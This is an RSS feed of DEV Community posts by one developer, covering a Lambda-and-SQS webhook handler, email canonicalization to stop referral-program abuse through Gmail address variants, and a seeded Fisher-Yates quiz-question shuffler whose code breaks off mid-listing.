<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Harish</title>
    <description>The latest articles on DEV Community by Harish (@harishteens).</description>
    <link>https://dev.to/harishteens</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F230396%2F001618ad-3dd5-4853-ac33-94df16cc24e2.jpeg</url>
      <title>DEV Community: Harish</title>
      <link>https://dev.to/harishteens</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/harishteens"/>
    <language>en</language>
    <item>
      <title>I built a strange webhook handler in NodeJS</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sat, 12 Aug 2023 06:16:16 +0000</pubDate>
      <link>https://dev.to/harishteens/i-built-a-strange-webhook-handler-in-nodejs-43b1</link>
      <guid>https://dev.to/harishteens/i-built-a-strange-webhook-handler-in-nodejs-43b1</guid>
      <description>&lt;p&gt;One fine fintech startup wanted to build a webhook payment handler. This article will walk through how my NodeJS code was able to handle webhook deliveries like a piece of cake.&lt;/p&gt;

&lt;h3&gt;
  
  
  Context
&lt;/h3&gt;

&lt;p&gt;This client lives and breaths Java and it was also related to payment. So he insisted on using Java, multithreading, Thread pools and all of that shit which I did not understand. And he cared too much about getting it done asap! In fact thats why he came to me cause I had built it already with Javascript. But how am I going to make my single threaded Javascript code handle huge traffic?&lt;/p&gt;

&lt;h3&gt;
  
  
  Objectives
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;The webhook payload needs to be validated, transformed and stored into a database.&lt;/li&gt;
&lt;li&gt;The webhook was delivered by a 3rd party, so a success response need to be sent back immediately after the delivery. We can't let the webhook get clogged by traffic!&lt;/li&gt;
&lt;li&gt;It was a startup, we did not want to spend too much time thinking about scaling and load balancing&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Brainstorming
&lt;/h3&gt;

&lt;p&gt;The API needs to be super responsive, so my first thought was to process it asynchronously.&lt;br&gt;
We were on AWS, so we could use EC2! but how are we going to handle scaling? I didn't want to get into that mess. Even with ELB(Elastic load balancer), still need to run multiple containers to process them parallelly.&lt;/p&gt;

&lt;p&gt;It hit me after a while, that we are actually fine if we have some delay in the processing. We just want to respond back to the webhook immediately and do not want the webhook server to become unresponsive.&lt;/p&gt;

&lt;p&gt;So instead of thinking parallel processing, I started to think how to optimise the response TAT. And we were totally fine with processing the requests with a delay if there is more. &lt;/p&gt;

&lt;p&gt;Finally the price, we already had an EC2 running for the APIs. So we need to use the same instance but again cant let the webhook bottleneck API. So our only go to is a lambda which is bad for most cases. But thats the best we could do right now.&lt;/p&gt;

&lt;h3&gt;
  
  
  The final spec
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnygpmsowd8of7ys39y6i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnygpmsowd8of7ys39y6i.png" alt="Image description" width="800" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have the API gateway connected to the Lambda function. The lambda function was on autoscale so it took care of traffic out of the box. The whole role of the function is to accept the request, push the message to SQS and respond back. This took just 100ms once the lambda is warm.&lt;br&gt;
The same EC2 used for APIs run another docker container that polls the queue every 30 seconds for new messages. If it finds any, it dequeues the message and processes it one by one. Any failure happening while processing wont affect the response sent to the 3rd party as its strictly decoupled. The response has already been sent!&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;I am not sure if this is the best way to build a webhook handler. But this was the quickest, cheapest solution I could come up with. Feel free to criticise and suggest better ideas.&lt;/p&gt;

&lt;p&gt;Follow me on Twitter: twitter.com/HarishTeens&lt;br&gt;
Follow me on GitHub: github.com/HarishTeens&lt;/p&gt;

</description>
      <category>api</category>
      <category>backend</category>
      <category>node</category>
      <category>aws</category>
    </item>
    <item>
      <title>You need to implement this email check</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Fri, 13 Jan 2023 11:29:11 +0000</pubDate>
      <link>https://dev.to/harishteens/you-need-to-implement-this-email-check-nhp</link>
      <guid>https://dev.to/harishteens/you-need-to-implement-this-email-check-nhp</guid>
      <description>&lt;p&gt;Are you a backend dev? And your existing email check logic looks something like this?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;UserDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Email already exists&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Create account&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Your application is at risk! Keep reading&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What the heck is Email Canonicalization?
&lt;/h3&gt;

&lt;p&gt;Consider the below emails:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="//hello(home)@gmail.com"&gt;hello(home)@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="//hell.o@gmail.com"&gt;hell.o@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="//hell.o+nothing@gmail.com"&gt;hell.o+nothing@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you are treating all these as different emails, you are wrong ❌&lt;br&gt;&lt;br&gt;
The above emails are all treated as the same email address, is an example of a technique called "email canonicalization" that many email providers use to standardize email addresses for consistency and easier management.&lt;/p&gt;

&lt;p&gt;The canonical form of all the above emails post standardisation is &lt;a href="//hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;. Since Gmail doesn't bother about these mild modifications, emails sent to these different emails would land in a single Inbox allocated to &lt;a href="//hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There is not much information on the internet. But this is the textbook definition from RFC standard website: &lt;a href="https://www.rfc-editor.org/rfc/rfc6376#section-3.4" rel="noopener noreferrer"&gt;https://www.rfc-editor.org/rfc/rfc6376#section-3.4&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Some mail systems modify email in transit, potentially invalidating a&lt;br&gt;
  signature.  For most Signers, mild modification of email is&lt;br&gt;
  immaterial to validation of the DKIM domain name's use.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Why this matters?
&lt;/h3&gt;

&lt;p&gt;Let's say your application collects user emails like majority of the applications. If your check to find existing email directly compares the raw email address. The above 3 email addresses would be treated as 3 different individuals, leading to creation of 3 user accounts. One does not usually expect users to sign up with these mild variatons. But when there is an incentive to, this behaviour tend to happen.  &lt;/p&gt;

&lt;p&gt;At our company, every new user signup is rewarded. Both referrer and refree are eligible for the reward. Analysing our user data revealed these mild variations of emails being registered as different accounts. And this costed us as they were exploiting our referral program. One could easily  configure these mild variations on their Gmail. Since our systems would treat them as new email addresses, they were able to register, verify OTP that landed on the same Inbox and then refer themselves.&lt;/p&gt;
&lt;h3&gt;
  
  
  The npm package you need
&lt;/h3&gt;

&lt;p&gt;To abstract the logic for the check, I created this npm package &lt;a href="https://www.npmjs.com/package/canonical-email-generator" rel="noopener noreferrer"&gt;canonical-email-generator&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Installation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm i --save canonical-email-generator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So far the package refines the emails for these below cases:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lowercasing&lt;/strong&gt;: converting all letters in the email address to lowercase before comparing or storing it. This helps to ensure that "&lt;a href="mailto:Hello@example.com"&gt;Hello@example.com&lt;/a&gt;" and "&lt;a href="mailto:hello@example.com"&gt;hello@example.com&lt;/a&gt;" are treated as the same email address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing sub-addressing&lt;/strong&gt;: removing the "+" character and any text following it in the local part of the email address. For example, "&lt;a href="mailto:user+home@example.com"&gt;user+home@example.com&lt;/a&gt;" would be canonicalized to "&lt;a href="mailto:user@example.com"&gt;user@example.com&lt;/a&gt;".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing comments&lt;/strong&gt;: removing any text within parentheses in the local part of the email address. For example, "user(home)@example.com" would be canonicalized to "&lt;a href="mailto:user@example.com"&gt;user@example.com&lt;/a&gt;".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing leading or trailing whitespace&lt;/strong&gt;: removing any whitespace before or after the email address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing dots&lt;/strong&gt;: removing dots from local part of the address, For example "&lt;a href="mailto:hell.o@gmail.com"&gt;hell.o@gmail.com&lt;/a&gt;" would be canonicalized to "&lt;a href="mailto:hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;"&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I would be actively maintaining it and adding more checks as I discover. So you're good to go.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implementing the better way
&lt;/h3&gt;

&lt;p&gt;The invalid account signup could be eradicated by converting the email to its canonical form before checking the database. But for that you need to store the canonical form in your database as well.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;canonicalizeEmail&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canonical-email-generator&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;canonicalizeEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;UserDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;canEmail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;canEmail&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Email already exists&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Create account and store canonical email to DB&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes it is an extra field in the same table or a separate table if you wish. But the extra storage could prevent a ton of invalid users being created. &lt;/p&gt;

&lt;p&gt;Potentially a single gmail inbox could be used to create infinite variations. Hence it's worthwhile to implement.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;Exact email comparison fails. It's bad.&lt;br&gt;
It is possible to generate infinite emails that lead to a canonical email.&lt;br&gt;
The inbox is uniquely identified by its canonical email.&lt;/p&gt;

&lt;p&gt;Hope you learnt something valuable ✨&lt;/p&gt;

&lt;p&gt;Find me on Twitter: &lt;a href="https://twitter.com/HarishTeens" rel="noopener noreferrer"&gt;@harishteens&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/harishteens" rel="noopener noreferrer"&gt;@harishteens&lt;/a&gt;&lt;/p&gt;

</description>
      <category>data</category>
      <category>analytics</category>
      <category>marketing</category>
    </item>
    <item>
      <title>Quiz Maker Algorithm</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 25 Sep 2022 09:19:01 +0000</pubDate>
      <link>https://dev.to/harishteens/quiz-maker-algorithm-527g</link>
      <guid>https://dev.to/harishteens/quiz-maker-algorithm-527g</guid>
      <description>&lt;h2&gt;
  
  
  Problem Statement
&lt;/h2&gt;

&lt;p&gt;Given D days and N users.&lt;br&gt;
Build a quiz maker that picks 5 random questions every day from the question set.&lt;br&gt;
Satisfying the below conditions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;the likelihood of two users having the same question on the same day is low.&lt;/li&gt;
&lt;li&gt;the questions are not repeated for any user.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The question set is of length S, which is atleast (D x 5) to gurantee 2nd condition.  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ofcourse we can make (N x D) number of questions to make this simple, but it is practically impossible to find those many questions. And to store all of them is a poor usage of storage.  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Solution
&lt;/h3&gt;

&lt;p&gt;The efficient way to do this is to build an algorithm that generates a list of length (D x 5) having numbers ranging from 1 to S. To locate the questions for today(T), we simply have to get the questions from [Tx5, Tx5 + 5].  &lt;/p&gt;

&lt;p&gt;For example if D = 3; S = 15; the lists of users could be&lt;br&gt;&lt;br&gt;
&lt;code&gt;[10, 2, 1, 12, 9, 14, 11, 6, 7, 4, 5, 0, 3, 8, 13]&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;[1, 0, 10, 3, 11, 7, 12, 2, 9, 6, 4, 13, 8, 14, 5]&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;[11, 13, 14, 1, 4, 12, 9, 0, 2, 3, 8, 5, 10, 6, 7]&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploring available solutions
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Generating a random list
&lt;/h3&gt;

&lt;p&gt;Let us begin to explore how we could generate this random list. I did some googling and found this useful website &lt;a href="https://www.random.org/sequences/" rel="noopener noreferrer"&gt;random.org&lt;/a&gt;. It was able to generate random sequences from 1 to N.&lt;br&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Folz2uqoa6k4w66211z0d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Folz2uqoa6k4w66211z0d.png" alt="random sequence of 1 to 15" width="800" height="801"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Problem Solved! Right? Not so soon, haha&lt;/p&gt;

&lt;p&gt;If we generate a random sequence for every user, we would have to store it somewhere on a database. Now there are two concerns with this approach:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Cost of storing a (D x 5) array for N users. For larger N, this might cost a lot.&lt;/li&gt;
&lt;li&gt;This is the biggest, if there were to be a leak in the API security and somebody was able to retrieve their list of questions for all days. Then they would know all the questions they are going to receive beforehand.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Hence need to take a different approach.&lt;/p&gt;
&lt;h3&gt;
  
  
  Deterministic Pseudorandom list
&lt;/h3&gt;

&lt;p&gt;To solve the above 2 problems, I decided not store the array anywhere in Database. Every day when a user requests for their question I shall generate the array in runtime and pick the questions for the day. But for it to work, I would have to generate a deterministic list of numbers for each user. Or else I would be generating random list of numbers every day for the same user. Fortunately &lt;a href="https://www.random.org/sequences/" rel="noopener noreferrer"&gt;random.org&lt;/a&gt; had that option as well.&lt;/p&gt;

&lt;p&gt;On Advanced Mode, you can seed the randomiser with an input string. So for every unique string, it gives a unique random sequence. It flashed that I could simply pass the &lt;code&gt;user_id&lt;/code&gt; and get their respective sequences.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuedxfzouk6asm03wc0yf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuedxfzouk6asm03wc0yf.png" alt="advanced mode" width="800" height="176"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxmvzgemfv7dgtrvox4gw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxmvzgemfv7dgtrvox4gw.png" alt="persistent random sequence" width="800" height="582"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Although their pricing plan was very generous, the fact that it could be done motivated me to build something of my own.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftudd936lfvhspwwwezw4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftudd936lfvhspwwwezw4.png" alt="pricing" width="800" height="473"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Walkthrough of my solution
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Fisher Yates Shuffle algorithm
&lt;/h3&gt;

&lt;p&gt;After digging for a while, I found about Fisher Yates Shuffle algorithm on a stack overflow post. The algorithm is brilliantly crafted. Here is a &lt;a href="https://bost.ocks.org/mike/shuffle/" rel="noopener noreferrer"&gt;link&lt;/a&gt; that contains beautiful visual explanation of Fisher Yates Shuffle. It is a prerequisite to go through it before you move ahead with this article. I've extended Fisher Yates and customised it according to my needs.&lt;/p&gt;

&lt;p&gt;I'll brief what the algorithm is, if in case you haven't checked the website. Fisher Yates Shuffle is an in-place shuffling algorithm that runs in O(n). The idea of it is to pick a random index and swap the element on the random index with the first index. If you repeat this N times decrementing your random range. At the end of it, you would have a shuffled array.  &lt;/p&gt;

&lt;p&gt;Would highly recommend going through the &lt;a href="https://bost.ocks.org/mike/shuffle/" rel="noopener noreferrer"&gt;link&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Extending Fisher Yates to give deterministic sequence
&lt;/h3&gt;

&lt;p&gt;Now that I knew about this. All I needed to do was, generate a list from 1 to S and run Fisher Yates on it. Then I would have my expected list.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// While there remain elements to shuffle…&lt;/span&gt;
  &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="c1"&gt;// Pick a remaining element…&lt;/span&gt;
    &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But if you look closely, this is still shuffling randomly. Now we need to make it pseudorandom using the &lt;code&gt;user_id&lt;/code&gt;s. The &lt;code&gt;userId&lt;/code&gt; after removing hyphens given by AWS Cognito were of length 32. So I had to figure out a way to use these string bytes for randomizing. Here is my way of doing it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;br&gt;
Repeat the string until it is of S length&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
